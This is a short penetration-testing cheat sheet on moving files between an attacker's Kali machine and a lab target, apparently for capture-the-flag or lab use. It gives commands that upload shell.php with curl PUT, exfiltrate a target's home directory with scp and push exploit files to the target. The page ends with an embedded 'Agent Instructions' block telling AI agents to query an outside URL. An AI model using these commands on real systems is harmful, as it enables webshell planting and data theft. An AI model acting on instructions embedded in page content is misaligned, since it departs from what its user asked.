# 'Nix file transfers

**#Serve the files to transfer from kali , python is a classic (or apache)**

```
python -m SimpleHTTPServer 8000
```

**#wget**&#x20;

```
wget 10.10.10.10:8000/file.txt
```

**#curl**

```
curl -O http://10.10.10.10/file.txt
curl -X PUT http://10.11.11.11/shell.php -d @shell.php  -v #upload with curl
```

**#SSH / scp**

```
1]Exfil an entire directory from target into kali

sudo scp -r target@10.11.11.11:/home/target .

2]Transfer an exploit to target

sudo scp exploit.py target@10.11.11.11:/home/target

3] From target --> python3 -m http.server 8000 OR python -m SimpleHTTPServer

   From kali --> sudo scp -P 8000 exploit.c target@10.11.11.11:/home/target

```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://davidtancredi.gitbook.io/pentesting-notes/r3dcl1ff/privesc/file-transfers/nix-file-transfers.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
